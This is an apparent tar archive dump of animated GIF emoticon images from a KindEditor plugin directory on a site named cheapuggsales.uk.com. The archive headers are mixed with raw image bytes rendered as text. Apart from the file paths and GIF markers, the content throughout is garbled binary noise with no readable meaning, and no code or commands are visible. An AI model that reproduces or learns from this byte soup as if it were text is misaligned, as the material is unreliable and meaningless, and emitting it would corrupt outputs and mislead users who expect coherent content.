cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/0000777000000000000000000000000011633550314023470 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/86.gif0000777000000000000000000000275711633550314024432 0ustar rootrootGIF89a^oݧݪݟ=ٓ͂)׋myi`W{yOMQBږvؐ؎ӡҕґ}{v܊)ljֆ)͆3jemyhW֥um A>;:֑3}3Wvvhbj`b[lkncdtso巷]~gqTԁңʾfӀעqr^}ӎ3U_rҍ3^ޖ9}3ЖwҞԝUأkܐ2pI|ڥޣ~yYZoܚߧb`_Fq}&UۜJӂt]^֔ܘXmiזADp؝r~aߎ8Rτ*R֍߬dͅ΍ϐgdut:Y|יwԃۙy͈zӊ0khߤbd́ˀІ-zfgfihr{Lgcߧ]rdickuvCۣ{6ܚFܜՆ\͈3|6BۚHnݛHؘtؗCTwnoш.e[р֔AוC|gf(JInNٍ1ڏ3vȉȋ_˅3ߦ[S! NETSCAPE2.0! , H*T8E) ZYJDNnpr+7t4d%й!A!rd!S9*QCE 4==% MbRF̸1#|n01#W$ڙ;ER Oث# } !gKeZI @T!%UT1xQsvV;H֎: `[=rzCa*e Q L![ ؃Wh S!fL rr!A(F!BRHda3TBB]ÆB!?@6Pd&J!, H N"eJ‡cbB'7|8p̕c81Hܐf8b  dڈIRI\N|)C %f,rC>7,CJ"Mȍ![0ۃx屧# eቸeI D !ioHv:L; ю;r#tM^N` L1 / q&؛PPh\XօXkr0e~!-gD @i>HN(H9)lBB6J3$ /Yda2Q?dZtQhbQtR@;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/qq.gif0000777000000000000000000010526011633550314024607 0ustar rootrootGIF89a  ֔=Rbbb* U ebPQqt&Ԉ֮rՐ-8βF2g l_$RrVJc%Ur)N,ѯ4 ߨHqmo ӒL4ܳnEgNl.gܔ_w,ƾ(ƙh[uKi2Ľ˕(,,;ԩ˙s@m ߤCIMOI5kw1T":[)# R.x5A7X)M(/!, HEJLE~ġ~Ϸгƅ%ڐmH*\("'g@jHC YȰ!8)ңGCq,>9I0,4Y-`r'5A0ɴ;ƌyU$k*UsG'$ly!!c%! 2xP f񫷰È+^̸Ǩv>Xst]\2͔XtgҌ4sУ13* lQ/zف;"6Z 5|(gPÉCD Z0A - uá4CN5)`H:,b>o{8}T(G(0 րGX!mη#& x3p@A@p0C^xJ/ -x0P(W* 4 CAC@1PpeOkD@e#hAdA" &d`")z38v"4@Yg\@yQr#R v6PM##R0%J00S$ |(q-'lHJQy4",ˬ3DŽ ut H=xY qp* !q1# E$}7Y$iAWPG١2H-!34,pf+4|1#qNK!!?J,-d0,43$Nϭ006#jW\4m4#K d0!iXu!K7tQO&L TmviǝaPcFZ`g7t Y5Tnk !HX0L  7( \{o~FUkE akmoKHn emȎta~׽dWT8;:@(P+ @0!֦i{) "1NQ4 @09DF.=1AvD( H@8ض*#@pH.rBB&%E@  AQ!ϰ06],h980IKjk1 %x6I * & a *B$8AgٻFa f.$L`-A & 8 }pɲ){t{4a5Ꮙ kQp¤ta_Ků N* 3/1T XJ׾ XGhD*WsH#&0 3p…hJby){,\` S/.{ ~yZ^q67qp5v 5yW\^st% |h bZ%Dt@mDGx‚daU#L( X#h/tQ2yKqn\ &g%CK" xZP"X ` #P\;Dd80?Lk$11Lg1l4@D<q8b82$ h[)7X2PI"&2wr6Ja{$k_f n9 lhܾL5iTc[n2HiGyYKF9z'ZVSڐD7xuyqHvTaKxX``LUN % T$,zV01! B['KNL`ʚB`v`!:|vOL|VAP`P0qA3G(wpr<5>6#_PkI5@Ur$rP PRJ  |‚WȰt@iHF3v@}X@D6H~~tAJ8L1e"[cXCk'uU c腂nZ`-ƅI"UEUpҥO%@=c ]c43W I tytR$7q#Їa\Ltod@EXgp% 3`%\P\e46Th`/y`h*7 @] 2}P*tpe| UC5 ox@hqhL ST yc_Fbs^@(tFl ("$`"I(Y&ta`#`"kV4&В5&_?1Df6gsbViDyxGGZBbq_i; -@#0X:B@}V:-DP߄s5`fps9gI>ylaBW*Gi)06t E>;ɘPYI3WPEw+FxɓEyejTx:@qcH`%;@G;*)Bax@ kPpНpsI!iIaQhyg)DIx $(&=)L~hbv0t0AD~0^Q5})&,0ɠ6&b0Pp{V  ι=  6gdz*WS0DztPV9 w\pEEF5%@`d,C`g4+(gtFxp+Gi0aBvPf?  $ZڨZt-Y*CP(2 ?Gy3 9&)26tc;iI|zS:i*IF9;p5PLP9&75ZLb}MN#pD>rzbu-BUY'}b` 9,0'Fb%~JODF yB0Gdp|4+l|wqomt ?IJCZR"ER5!SL;> %e9MR.0SGd TtVhl\`%0H%j@K t{ZUr]@&]e l P@XùhUpnI`KpWX{@kNxdXTع2 UXMEY s KмXY{"S;yu|oxZoH 舐:&?3w b%] yxp4:0㛾 y$RRGpA{Q4EЈ #MR@"RԊxH<T6dT:mT_+ L,q|.04Kj`@N` 8@ 4\+ 2 + l`7+<<~, d U P&Z|nkG,Bpl< w eM`:/P< "@D) .Of̅ I 9ĉ0bj6F$F`Ń0(5 (~,OLcC?:4IՇ`Zq )]9,`c e^5т>xH&]S2Pp5)Y.$ӋzGo՘2ӯӗ,7j@}E DM 0?qԩ#&z6wL' Иe` q 0:`u00SpGMBm^ LkڬI`"Zoeט,,FPI I8-:]p`]x;gFk֋ G)0mE jcMW0  )@~ܜ-&}]e 1b!}G1d.mц A1r6a9k2g(%ӹ? tA0# #VvlO3*p>=t,5 Qg6B`SG dy _0 0>څ;kB`eӒ*&|zdHХ c7D_`g#%`gip)a "d3npA(]":H{.ƛ0nV ؖ_nW"РԑӁpޘBpzִmݔM]~PL>PS/J`ŊE-r4\ c] Z&Ɏ.?AM:Nܡ<7 h@VaXH B3`@DPV" kP 0>Q.ˆ J&0`D R(<*P4@ƒ O\@ BP\"pepƙė\3!k0 gb`FȂ;D0W!kx9dF\PH2E 7t 4jtv؁ e4J  ZQe*ɥ,p:sPi; ~8ATiZ>m&A̠$ě#&XeD_r  +/LG; DHb "Ha3 H#*|/qJP(@ @ &AB4# lxXC I@>0R6 q[rcbK<0CB ;ҔAW^h yɻD.*rM,@ T@N}*awJ[wS#Tp#fWCg,2߫e/iR3[ۗGw% {%;iIliO$R#۲Xt!oFP,uHc,Cp;h9_vr/mlpn&urA30 "p9z ;g<ЀB -pt!Dcx\ %pB/p@u F`p@ Zr0 ^ C(4#(%^NЂ 4Eil:'<&0dyE(7RA[Z"RE嚂 tu>ZP>xC nm&`V>DX-0C.pIp ~xA2T!JkbR,!,\8my8 hp<|ႅ3pb"z 3@S8dZ|AtЅ*P =qp>@X7AA@6a@P@$,iN 4`~(J^BП@& uA (Ap.N`=dE0NESE0! W`2-N'L:x @S *@(p( JF xc Rp,&-%0!t0ݠ2(v!|cm ,l4C(ϥÛ "g8!2 DPGAiR8F66PdoN)AR(Gb 䀆PVP7P*)&*  {L)CE*I$j˒xAmR'=I[)`>( tA u.2͜ ` hgȲ3g[ Ђ Ρа.6`Yâ# AF,iVIFS !@zlHoag&`O V(` Dߐp>hCb&7  /.T+lXx +SPu\ @=\wNpR\]'BF'DkP2213C>Bt ;/2B0+(V >Bn;.PcC+B;#+ ,2+; # pB9Dt=zD'|7>QDB@wR@a0H)wO{~{[| H9 "**0IP^@e2POrD[$k@!XDg)Vq`_h<&03F$EiD(=bR-c'k |~g|"0 H/&#-@jRh}DD7FPF`68Fp-*776Tj~*p`DT-`>I0F#>W3#I,p 'g4H@>$>;9(@;8e_ETP@H`H` XG!4. 0eIja d0d04`; nR/d/ŸKS P~K[6 JD^dCLdT Y23`'m|F<^" }d R<(*uxE:](sb^024XXD8?`C9;h[x? &X91Bc$)/C?s'&Gpp5pSLp 6Ǡ 鈂P`M4, N5 @OW_P@AAA~2e|Ba6UJSp50 dTfoW]s C7 0`,p ڨОP'=5'p7PVufD 5euJ-pVwU} 0qp`C LDeQ eWېwzW __LEZ40PJE'D@jF 3 Q{3`2]r7Sn:V` b43 pS9b0PZ['_ Vk!:i+%Sc`bJK 4_Fa: bbF 7w 4 0f9  @ev`jd` Wf `j` K ֠fqHfgcpf`w^vX0% s@p斓ppC; c y Q2C` gcp~@%gX gۻF P\ Gfj66N2;pUx*o ?=ʰG4ӿ2s R< h.Us>yfqi%|N  7͘D^y( 7%Lݬ& ~`0 6>32EF +.J㍩'7``Z.p7/a,0-ؕDd=*pQ(%-AIج4츞|n)MH.F(m҇(z-pPL ~j-g- g`@ZMwcaNfP嚢|pp]BZ-"_,pPn_8@_e#G<QR*P*&@ݔBBT0BC% 0Pno{@sPN{*_ sP,p2`J57 2VpVezWyE(jV-(jWڇbe1}e0z  GK P XvFq ) ,ǼX @NCMw`[h`T5 p,WrF * 3+z0Uu•x\(C;&"PFAAAYY39$I$$E3- ii^E3JEEE' ' Vϋ؜B۠Ν}aP!O'jpNXDұS)bzgT,#vШQ@ϪL eHcpG8q@G JJm m[)މSDJ C$qF) Q*5T!:ͿvQPᡇx Rf%c732w/H?Cg8zOjxQj6m=YO~dXpL8b'KYZ !Tu3 0f%EN8VX@vtK q:| 4ޢC)FF`< !P` 6A!t8WBPH`4a :h EcX1D ZCP`u4Yh''dhpGPV` L`9u%@wB weKD $ QyGB/B[kpPwUQwAiV5`@h0(' Nqn*)`c ʉ$!)T+A"xPT Aa2DW 1#F!D #S9`8+ 5KL$,Ɣа EQI*𿌈 C1bM AG[A_BPt#0 0b ),0|)p ~,0APBhn lhAr`aA C˝;8D])ҕ,6#BX,`,讴LCڋ[G,FD#AchNROMkƎp1 ! г}r~w58`~>GfG(I@ ` LwM@ 7L|8Pxsf֭zy67 BpU`G' f7(7 Ѐ< @W:ph(?m ؁@5bHHJ\0B 8` [*%LJ?x-NPQ.u{m \6 N8aj.BK&G[ӈ@8!G ߹/xGPF7iW i Yc(J'ض 0w`µxixTBj(Cv0J ~HF&k`T,`;pXd8 r@iS , hPֶiMC: b@Lp2`Z` t u9uA _Y̪:? A #0AxL`e`50Ђ> @',(pA PpFFFMAR*P$" 8& NL '>` Gn ]`Ox&|_ 0@e<>h.p53@& DL4³n U@/[K? JzMԀD`yƒL (P (*~u^a H@6`qf" lx+A!YhBeU +L} RH >Med^jS iB>{wcBqP~!݇R̀00#2xD>xy#O(Ё= 3P0Qf  H3SD@p4Š*е6NdhDQF^/-XPZD_cbdh+^Aa:(l.DG(ћ$*D첕aJKG$Z)W^LM RPЅ+ .A!R'H ?xvH4 d 6T P>qD @9M HA Pa߉=|`O P.pȧ>:Ax ve}p  Bh0!1 p!r!0"n!o0"(X%F"Vn0"#5" h`FA+\0f$!0u GΑ#@_PR _"&63i⅛V8ok1q(C v`ZpCp[O(`PS^ ^ '_%N $6pQ !q$A+Q+s+F?,Vw5pI0 I -2.r<"bK$Y;PYu:,4ը);B(%:KF5D 7ĎS0&0pAmsRp~ca01  tEVcRss ӎc;;P;&F dr?cKn`>3)-J>d*21Cb@^E8ˑ'3'`fpjp& hZPP'C$`,H<)5zjxzI0jQ G>Rȍ؍44h3~@Dm@LYKXi4Wa9 ]Pi 0AК0i#DTDP\LBc/rimՖ,1Id`Li@"1@FĂ\aDGrQC@2"FPx FdDAQu"019?HjHXprH)eYpA`|xfMRHKbB31:01X)=V~nʄ`4AV0#F0:\J#knpX0%jDy`bX<`[1%ypO@z8>y_c0PGC/٣1Z/0׶H7@3L99 @vc&4nB0)Q};F5 +$800n-jk?0 rcUuMEbbu UoV0SPlVs +zVKz6sT5sc,p/0HB0^P@2P2ՁTK2P/@ 6h`[u@5υ ."f`#B -om3%@ u+<p ]nI-Fl N C^55% T'U@'qB8u`^BPpaN'`x'P'Q   @!`2HfeVd `k5le-dMe_jc;eD-@ |` - ~`"i&pspc81w%`_^Ch]~f<i;.f! @ &&O. FkhGr0kkDV)@ _++ϖƿ8 Y0!syj vo.@nVJn N 'n3 -3B * :@ E0? g&Ĝ9^df'q-9 Ѿ> iE P8p#mp8`2oV, shw[th x!Os@ !7 fby\ N>U)G!Ggbtg@06ltX0}`w~`NJQQd(zVcC*oopJFo ^!U ra`:P@9 <x ObX0](O `f`Ayha<v4Pdp.xG!^8p Rptkq 3  Є쁝p!)pk˛ 8` 1"2X:F;#J};\P; !+%@a%RX%@[R Y% 0&6Pj`&Cd EK@z.M' V`NN MaM)pLN. `~ Rv uMp$M+M s,,V)- AP͝)0ʨ! 貌mD=1e huYPbعx)@(r ܃1:ѣ-yz`B^ش10ʺR,]w$] BI3,Y)>q;3Xik0 c36JI9K!nnus39C iH~P$;K$9b*;*KKK ~~K~ ,HLKH~LŒPPshcX=pff fv'DD5l5 n@@-K@NE FpBHX x@ `S >@b 7ND!|T0T@Ȑ[EʓODxR 8#䄛n(aR'O!R| Vo (76J0チv"`$"$ |((75+JA m\ |AP+2(t `u 8Jn r޽ 9Əe%hv-Pt+C)`V|5jvʅ*8@|``Iŀr$P9H|ITA+@H9 AIB 0 i" b W}^a!0<0'  TT3p i@$8A3P@AL0dYJ8PpBH4EP8PPUZVf9'GZ6<)f&T 0<idUpB'TI%gLPAXT$XUcZV֛:rd1)mVY&Z Pcdnt&oc-fjفK`)ЁW\^-blnAe mF[![l3# 38P_Tр`!<j$w(PC]w ,olg1gK&,ŃSA9fZ)˲ZDAQk+!3(ΠF/:R L.hMkjg:Q5 B nJP o~S@>oЊ#f.KK޲)$p E` &Ra0DC}MSJ A7Kq Z  gX/De # Q\+qK %*,`ݨ/ nd y 0H`T@J@L&vTk4Pftu} )*m5% DpQH P$p 糲 ր$]PmO8,X_V ~|EMA X9pSN*Nx"4PV$-$XY $e080݊5gz$gk>챚 lH~{H #x֔jlpc}E~Y8Tes\V @ `8@AKXa7fJQ :Є1@,@<Gȭ C|d%*ASD%žP<&,(=E\aOvO +P9AW2dfKI]F k#! 8-H WCnAM;W+ޤH^/Y?7P>9r2 `ini64R(n"G7! '>TXT S @9@`P$J@sp?u!R!&0"$B-H"rA~`%<8LKaWyW]@<@^0`*+U'V((`*yT0lD"zf8 &0@'c( 2[B:P@x(2 3)UMY*M&P^;8#0;&C,Epp#mBm`!+@`(d&^≧#K&Hg,CρC,!~o` f`#`XnsIwn0~Z…d-` ~ 4/ ׇP4R 6j~@5~@q6 p6dXD\Hu) `01QA&wp=.3h-r&-7E7-`R- 09`1X\P Ãc?!0 ?!a4  S@yPD#@~It6S&TFez36ђBcpB*L @1&8;awpd#`6&w|>P1c6:E`V0Hv3EXFPp#0pqp&hGyd?vm}~ PTa x54.BwC'37'#J.di `FB@LŠfPUm'M8J'H(-c-b. VFVxR"NS0Nw 0 `$[cOc0Ul1FPNjcz ds%jD8e C*>S?.J =BXkVl~T QaVSmH6(YغJ 2095m}`} Y Z TtpoKuZZ9 `e:`$ZrZK3j`P 75|Qzegp0P$$%洴J3Pe0T(qPc.@nQTW2, pEq2#8 M %t F-glL}L[veZp%gզo c/% Z2`3802PF 3ge',Tp - ~*@Pyf)j.fC`9U@&:6h,PEPe`JM ƷuűpopPOj0{pFPE\9ʨ݋ 3 @0S`V[NcѸ "+D`|<W 0 `, S*#ktkKPnԷB`BX';Ti;!+Te$m0"4| WNFKCP!s >sbvb `zijLP1Q@p~ *Tcxx#cpviwgdP0w0a`d@Cpv.ӧz'x;Y;0;<^a$y0cu-Gz}"0s.WP,@ΒL f'΀5 $8'-:j@as}ׇ1d@yDÓ657H5[1 wIs5@174-d1U*PS\.}*e.}&(GTR|hjTp9'S<)h'bRi1H"B2A98&>T%\#)mC#c2hXh=]&G 3|M#@b' 0U"#2lR>(`&y%2kr%EcT`%HU8# ]KY8ڊX#JK]%)$@1 0hb"c`s 0jCp,w 11`j!4#ݒB-3io /-'y,ܔ7 `,Q`Ȏ080}4.7}8X.|GN /u~iNP18~wN \p@) /X(DY Jf`Fd`gc4@,#0NʛS`A9B+=ke@u~i>d:u9 d&;3 ?/?+:Y3 h>GzFn\pg%@ ΢9e;`BU0#>ʂ~ɡddf9~yB].b-fPiELVPZ0GPز&~&lGkvGlFzinۢYxU7 Xܣ.3'P`Wդk6*@ 74mAbp`NQb]$+{[ K_D`WP&j`0PA[1ɭqS?XխaPgYeJbPr&l?X|a@DЪ4:=e$pGB?q|o_[EQFpr Њ%dYUfCЄ Dұd^JD%T?P֨y;;6 O;֯G6tu W9F"GVFW*$I$9W$$9""TVbIb*k 5((IDv77*C~C;&pԫ9k73"8DHō8@@a]Ek(0 aBu h"D;'V~-Nq@QYzHDR*,ÁBzB HhPɒ \ pϟ Y* 1`0@1  @~Lf(T @(61G ')RL@!#eFBE,@J<"6 lRAH ġSNT{H]Z]%ŐYD\e򗇛 W>#J8:;x<Z D8T>+"\AFE[ظR0@!!($H*H"ØB ֠-J"^1 !J^hx2 ac-PI!Хf4,6Jtc `fE[Y50prq&6D6Q&D.t!P1OD*O$ <yTAC%ڇcadPEd@y(BP :SwFX5_@h`'yPjnl C ;M J{c7ut!x|$PǺ`W!FhFb4N+PGKZMc:Ti뭻+FT(G0?W 8P PD  ~&/8p3 08`+ |@ >4> 'd|E@Q) "6 <{&~ l {-E>00<7>Ԟ!w?d "2flpF^tx H-T[`5 d(/耭+2SXam ` NP"8 X s-u51/BL `Fr, &_@;QMxC F1V!1is +wTL(e9@,mXP6s/XWbXjee˚|v&l(0@R= ˠ,ax`XXF,*ap xPd%"G2x C<*5x7\ x"/^aM.! 612 %׆0,-`p'5UAԗޝg*NZfNl*paOc BP2 P^QWI T/5@t lX 1Ȳf`!h$?a) GЖx38L(K9x@Z41&0*o&4?`vX1:LЂ`!75lp8 jTʹ@QBVpD7?@*@PKX.0ĸ)0Q'pBOzMAB5(uFx@ 8H؜Kpg=A< !';J,qV|t0$*P.nЁ(0 + s"@* B G,gx#yĂ)i@FVy!˙/VlC0X 9F !L^b xD5: L "S8Ć qʡ;nJy?_3{L@(_syhSJv`:MA6eLj4|+ yg0qv H\ $A<09@-@2OJo8beiE~ox7 u+H;+6b5[; JlsJ-k/3~ 039-bA# Gbk f2_b+4 UVkk  @%4o8uh"EW"c E2x $ 03>a>1BgB:Cc3?C3>!@s@m>>0i=`9Dp<.@>c<PØ@=cPCؒbb>,Tp*Bϓ۳]%>[Y/E 'ߣB dDMȹ PTM~qE\FPuPPr_2VyP'@Fv&)HJG}3\LuH) 4Gy&ŕTXP :-&n̈́ty Jv&ڟpKA N4{4AGg"jc .E\PP4_"T.7h+2p\=p=^t,`PУQMC\P} P#pQ#sZq e cjpV),x@1%F:>`;UؒSP]S!:3`PyT*UwrUX3pO88,p3 R0{?S4VhӹPWg|E^xUM 6ryP_@XT?%)E/U&$r3w8Y0U?SZ~' z&dZ EG([@&D`PU/)AO>gB` iq< -tSpo9W1 "LY*"=?Bk>bI>3> 2pggɛ=*0Kq}1~0p@MPpyg2}I dP 3Ζ{\ cC`.Iv.SHp5&tJMZdmZZI-lx0Y/4LGJÞ;HL>mMj2n Ok8x;P`섩,aNQ.=@7W= LM`?F5TTNhJ5qZ/!GR^PC,UmpqPӦ!/ a0J;]8``TT\Po?R?aޗcO?SJhPreu%:+W= ͈\ڈ}Pj40)"bP/YU:byy[p/[.9h@4b4I @gOy1ER _78.-{3a^,F9./bTU D5N0 L ~XX F"9"$T8"$I9W"%W"*~~8bW9**"ēI$"H8}:"O7O*"L0ى~.99B98~F(Pu&V-[R-㤨aJBL/gv ԸA$ fPXi!: `P;@J p֣'>Nx"F*3eU`!Vf q@6GhU\)"ÖY0TD؁j\v0( ʘs]1z5C$xF$lPW4nگ9P^1@-$kp"bT(rLJXw,`C~BHi&+ uס lNPtBXb6G"S8 vR)"]h ]'FB;@ ԬQ0^oqPP[U܇Pq#p@Nw|4gQHB2`Dk<@}( Y& `fyA4x`CTAd! dBkLBB%DA 0P$@*XBab# %A,CG"A"K0v$B֛2:0Dp iY" 0]S["GBqoy w,e!7m:a@Fl(AɁ  ?!B>9q@L./As;B_| e 0;IM(@:  e8؜Fa% <A; Jų'hCh أ`)|PSAUWxBЊ 8S*'/x RB.h@\p@z@X %a{idBPsp#[κu3x`8eA? Z+akDD! ^&MhByt6Co 4z,C8ZСhS0|a+h.#CV?lY@ <Nx<5NKBp0 (B |QM PS4 u^8'it)xJzΒxt wn~,?6|Ȱ&%] @0X.PZS`׬FuB;eW8;DXe!8e; >l'uTgYA- 1{^3 *BX?s9n4wU=>9`tE[ 0C`V |@(C VUW>o*^1zցAD7[.iUw*}n5#8N%+pI-`RvZC`*$q#*IcUq&s!@]ы^ mC#O3ς1fQ5(rE3ߥfs?^p[\F {N–!q@ݥ@uȏ=bvZ_A=4 rPr B#TBa. `8sUR85Z:Ft'D2@cET%t *I\JH:DJ* E%m$J@dHtE1qFKV0G^bEpFcG,@JJO :UiKE$$MP3 LdKTH#.RIOSs` yHfeiljTDЖ`30_`5QU53e@#&QU6>>8s*P,P'a9cp)9\@bd%%0a%\3$SVPU,eWei&)prN)'}8N B>T3I8^N8` OcRF 'SC3`S:JF Up'UR  v=|u2p h8r20W!q2 x 2P E :y@UY O73ZVze5Zx@n\[75W&`G &<Ʌ\Q^U1NĨӅ׵Qj]E^W|U^!?`&6ex[`f8kb&%`U&<Qda; `SX@<`Tc04pmaRX0\Ubcb3w@pw3v}B:s 5@P>6:TN͐Y*>ފ>ís'@p`PxRe;Wާ~eR}} گp RHk~v"k8Z9 +'~Q'!{}-}1;ZЯRҁd4~'5kPkm"6@Gz@Xi6[;^k`K*0Urf_3{d ; b(B-,0f3lru;/۳eaPr~۹}G;٧z,[0 B;6u Tg0NQ@|Gv{!1q,mbo+#`B1,!ק G0 ,2$bt_P2\We2I7uCڬ< ҷp*[0~ё%WtjgC,P %g*p",p ãs (̹r06VPRcۈpP+&\8p ) R0uQYU9ݟDVM!j -`XpF` UTUwXeBuQR`!?m8 V=:Nꉠ}>=V W(*i:W2@:h>::2% 2=;:d@z]XU2@cRuh0^W`MS^`VbޓCЪwpaSҥl~  F eТ::c@N fNb`*'&Ǫ}7d~+>xjP %ͧ WW`+7 &äVR ѫr {<빎N &p^p, Ͳ:Ԏ}Ůl BS@7 OZ`g@v`v"ZIk3kP IP p8Pt~* C+>.'?A ~l aί(  i5֪n %o,?ɾ.@DT O/RY'T;ޖBOP ~6!>@/p"hwG X_j/':ע7::ps4wC7Ie;p?h,`3PP'R'ɍOu= @UV8{PvV~`El"0p&/@? %H BbPhv%w@S,ҿdiIpT0,*,**&,jT_S N}rrAgVAC_ !!6 6u JZ&j;;R&Z%*;OO((;lTy#dUT TTUdTll56ؘp0طob>䈃/ǀIT|H ,t#]{Nv1FOch4D%E /:)eaʐC8@#%RtbZBnPp1v OT5D6$H%:x4DuؠÆd8M8*ThѠBTD A 15iUTJ.\Tx@veЃ|FUhԵ}{E!>О0an`lڻ9D.vu pR"3kbeڶyoPAJ@h@  .8&%!1!ctZ`4L#AFP2Q-DIသ{NF!ȟ2 < (Qو( Rp ``UI1EI]AChI'QujOЕX@4X㓄^t,^8G^PpCddkvPO$pC_ Z &nK.Nq/K.<&oL.;0&} <04@3@B$@ (1PN⇸PPo[3.%<ϨۥS1='NCS <37m GMt'Q1ظIH 8Iv|-uZSb Thq +i0ރ``'\a(‚&G ld$d@"AeDB" Pp"H@#b7@E!8p`0 =*O>v'T]&UMsP`o V\_%GPpDkO'p@ pؾ@}+2| ܹp} (2+:&ɰ3X DLp2!>1I@d @B#FBE.h8m0.pb 'ʁ!'` 4 !A((,e:b QL^' Y(AFPhBB# ?U` &vD$<`;Pdpݘf4QqT0`zDf*`8IQL5',)A|2;XZsGn3!6ΜfuPcpTq iO8;)P@h=x1tH':80\ML(?$ 9;A gIPրGG ϐ*(Җ@HӚ8ͩNwӞ p@F= `$BTJժZB˫ʪƴ_Y U:@lWh@WKL:\VP" bb :X `dbczv <]7KZUxBpҺVppOlMg9ɠO!<#%rPmT7h83 FZd~D _BD)Ulx Kͯ~y;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/6.gif0000777000000000000000000000674411633550314024342 0ustar rootrootGIF89aPN`Ԅ/ H`‚S-X'AX<u$&ʝ+ݻ3^x>[x  !,L (pBȰC`8Q`/ #ƁQ >[1в("1e#^ \4l 4Ly!,V ( 2JH0 …ϔ0Xh"Xȑabh3;=C劌p\0+Ip@# !H@ _ ! , 8 6HH…1=<+ppgqV (b& B|\%Ĉ4Dhj*LJ*f\$oQ E !, 8*\pÁ Ea<(0ƏIgSF &J( _3M4yZ 3;xELـ}< WU`h٢E_$;ᒩ_9f`@!,H He dB#J\x`Ey Xq.`bÄ dp‹dMwN|Ā!,M *\Ȑ`# `ǎ@0IX! h$&A0̩D !2,T Hq@†JlX[`(C8<K( X1в(d_|#x,Ygh hˆH?DbD^i0Q$HjhI AXDJgmzɳ.JM HF" ˲B !, HW"‡8JH!&*605Q<(z&` 8̣) $F ` $Y2R2e3D-$5* gi@R`БGϐI&!,klHL'?I4LNeEg8G )8spc>.L:GΙ6m LKСLt>AթQLZƐ`avJ` ܺ &G q;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/117.gif0000777000000000000000000000202111633550314024465 0ustar rootrootGIF89aX{ƜBs9{Rƌ!֜))Ɣ1{)c!Μ9֥BƜJkέk޽{Όֽ絽{skcZsJƄs{RƄΌsƌ!!Δ))֜1Ɣ9ޥBޭRZƜR޵ks{Δ֜ޥΌ!Z)ޜ1ƌ1֜91Δ99JޥJƔBRRΜJZ֥RޭZckƄޜ9{Z)Bk9ޭcks֥ޭΔ!X,H*\Ȱ> @'dpc!]dذ#$!Odʒ%J`̘a$ X\@Qʅ1T! =ԸIϟ0a B.4TԩOR`P[>E˵Z#v@q wid!ď"N@ HBjXRĊO { ($ȀQxQ R@@ЃBFZ5^A; \D)+Л;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/134.gif0000777000000000000000000000171011633550314024470 0ustar rootrootGIF89a3ff#$&33bRff3̙J& 3mQE 333333!,5H*\Ȱ! #BtD $NpH!2Jdȓ3F`'c:В̘ )T8}B7qk4D 2̧,84R05JQ - dn[ r2l{ݾ.l!( [;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/80.gif0000777000000000000000000000300111633550314024403 0ustar rootrootGIF89aԁڗ׍ޡfPԂxvu-TnY]|x#kF:Y]WMۚr#s#⯰T#c:`ޢGӀw#}#98͆3ft#{~3}rp?9ۨxnКhlUr,k(uN}#qJQLT͉xٓ⿛{p7ی+ЖOoݚ3؏adؙd|k#6ȧyXVbhid^~HKޑ=˅3mz#t-o#ٿՋp՞o#`~Xٖ3_oSw3Xsg&RC\9#eck#XZ h_#[o*Ҁ^]ՉFMڞJwe{cܙ3ҘЁdvs#ޑ}.V1|igb[Sy Ur!D",$6l@=B"D0AžA_4xGUg&LD%QX8R8H8l"tC =;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/55.gif0000777000000000000000000000305611633550314024417 0ustar rootrootGIF89a0ER\OYaWjv7AHSfqO`lU^eZnzAMVM]iIWauJRX3xa#8\1c'z\LH(edz)hB&EjyPA?{ ͔EЋl$@! Z,ހZZZ # < -,: 3 ;10%*ѥ )4 ޺$(" !껦&$ 2@[ !a UF6E8#c"G~LPRFr~șá<2gPA/uyT C! Z,ـZZFZ # & < -,:3 ;10% *)4 $(" !찲&$h WPP` a U6E8#c"G~LPRF2}OH3&z!4Q%+>P ;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/16.gif0000777000000000000000000000260511633550314024413 0ustar rootrootGIF89aբ:դT:05mj]1k_ihK2, 9WO= %{xw= ԡ2ԟ,EAC?ۂ.+)J+ ԦF إڎ 3rn6fc.fZEGRi S-PHuԎeAB&LMM_W~7ŸWWGp,ܜῌӘͬŠ>ZY6>wm%/K[Ȑ>H8 ~x)!K$" Iˉ`̋"R{o#΀92] BGۚ{2ް70_g9ȯؕ0ȑ 3SNegYm٘!:%寮f's+f&074$|ŞmՎؙXomF%up2f^ E$ǂ OݜDɩ6S3 ΄.tf`&oرkAQwQ6٤BܥDcҖ3Ei=<85ztnSףMҔ Ҙ%[ {m$Olف„s Ƈ+ݛݜƉ54֡Ai.-! NETSCAPE2.0!, H*0jQ:0G@Q\VHAE#Vj!Z@+WXQBU $ZdQ% t);vP N ,GιWKhv!|T@e3C xvm @$xDР ïtað1܄ L%)^nq(Ɵ%q2P@JTaJR)p!]BPPq>FE@@)"@D?EL yAh $lDg@TD 2` L, Eb)F! % I&MDNDct!, (P/Tp P f?si@ P4 aDkG_#(? 29!H)!tJJB'T#yzHہ^=;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/106.gif0000777000000000000000000000202111633550314024463 0ustar rootrootGIF89aZ))))!BB9JJBRRJZZRνkkc{{sRJ{RskB{B9ƜƜ{cRsZJs1{k1s!cRJs9sZ{c{991!)!BB!R9J9B)J9k)k9{Z999)BBνJ)!{{kcc罽sssZZZRRRJJJBBB111!!!!Z,H*,aÅdH ā$x`E)BJ 3^qD'W,DqS^| $PI)YԐA@ ZV`? bc!BC0`@-SDZ@P@ x! Z, 3BP`Z@8c 'F\ŋ3V`Hc“kd! Z, 5A" j P! 4%‹3jxǂQ8RђcɏSe@! Z, 3BP`Z@8c 'F\ŋ3V`Hc“kd;cheapuggsales.uk.com/admin_frad/kindeditor/plugins/emoticons/7.gif0000777000000000000000000000753111633550314024336 0ustar rootrootGIF89a3P=նB_1{e ֝THTк ?%(-jźtѱmʈ$ݜ{Cb[ {ʬ=tjМ$̫G"٘"m-ښǂ\Ϡ)ʖ74ˉ7k »Ƀk%Sῌt"ۥCNÛj[ϼҬ3oǯt+߹? ֎4!MG΂ ޴ؕWe4ި.3ٍ 9ߥ ) @ͩ|LŠ>KȝDÏ{3Ӗ3.pHѺT̔)ؒӣ%Ȑ>رk΀ȑ10{˹8߼Kב J } ԿiE$s+ҷmרȪTؖ 